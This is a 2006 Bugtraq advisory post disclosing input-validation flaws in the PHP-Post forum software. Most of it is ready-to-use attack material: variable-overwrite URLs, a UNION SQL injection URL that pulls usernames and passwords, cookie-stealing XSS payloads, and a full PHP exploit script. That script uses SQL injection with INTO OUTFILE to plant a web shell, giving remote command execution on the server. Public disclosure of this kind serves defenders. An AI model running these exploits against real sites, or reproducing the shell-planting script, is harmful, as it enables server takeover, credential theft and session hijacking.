bugtraq - PHP-Post Multiple Input Validation Vulnerabilities

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Message-ID: <20060916071133.12443.qmail@securityfocus.com>
Date: 16 Sep 2006 07:11:33 -0000
From: security@...or.net
To: bugtraq@...urityfocus.com
Subject: PHP-Post Multiple Input Validation Vulnerabilities

Hello,,

PHP-Post Multiple Input Validation Vulnerabilities

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@...or.net


variables over write,,

this php script is injected with variables over write bug
try to make a new variable with the name of any exist variable and it will over write it :)

example
index.php?table_prefix=myprefix:)
profile.php?table_prefix=myprefix:)%20where%201=1/*
header.php?msgid=w&table_prefix=myprefix:)

Sql
profile.php?user='%20union%20select%20usernumber,7,7,username,7,7,7,7,7,7,username,7,userpassword,7,7,7,7,7,7,7,7%20from%20phpp_users%20where%20usernumber=1/*


Include

footer.php?template=22

Xss

pm.php?s=o&replyuser="><script>alert(document.cookie);</script><"
dropdown.php?txt_jumpto="><script>alert(document.cookie);</script><"

template.php?txt_error=<script>alert(document.cookie);</script>
template.php?txt_templatenotexist=<script>alert(document.cookie);</script>

add split to any link like
editprofile.php?split=<script>alert(document.cookie);</script>
search.php?split=<script>alert(document.cookie);</script>
index.php?split=<script>alert(document.cookie);</script>
pm.php?s=i&split=<script>alert(document.cookie);</script>

all the files are injected


if logged in
loginline.php?txt_logout=<script>alert(document.cookie);</script>
if not
loginline.php?txt_login=<script>alert(document.cookie);</script>

Full path
footer.php?template=22

template.php?template=red&logincookie[user]=ddddd

template.php?template=red

lastvisit.php?


Exploit for sql injection:-
Make phpshell named soqor.php in the forum dir

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* PhP-post Sql injection Remote Command execution Exploit
/*                 By : HACKERS PAL
/*                   WwW.SoQoR.NeT
*/
print_r('
/***********************************************/
/* PHP-post remote sql injection make phpshell */
/*   by HACKERS PAL <security@...or.net>       */
/*       site: http://www.soqor.net            */');
if ($argc<2) {
print_r('
/* --                                          */
[-] Usage: php '.$argv[0].' host
[-] Example:
[-] php '.$argv[0].' http://localhost/phpp
/***********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit1="/footer.php?template=11hack11";

         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

     $page = get_page($url.$exploit1);

             $pa=explode("<b>",$page);
             $pa=explode("</b>",$pa[2]);
             $path = str_replace("footer.php","",$pa[0])."soqor.php";
             $var='\ ';
             $var  = str_replace(" ","",$var);
             $path = str_replace($var,"/",$path);
             $exploit2="/profile.php?user='%20union%20select%201,'<?php%20','system(','".'$_GET[cmd]'."',');','die();','?>',8,9,10,11,12,13,14,15,16,17,18,19,20,21%20INTO%20OUTFILE%20'$path'%20from%20phpp_users/*";
     $page_now = get_page($url.$exploit2);
     Echo "\n[+] Go TO $url/soqor.php?cmd=id\n[+] Change id to any command you want :)";
     Die("\n/* Visit us : WwW.SoQoR.NeT                    */\n/***********************************************/");

?>

WwW.SoQoR.NeT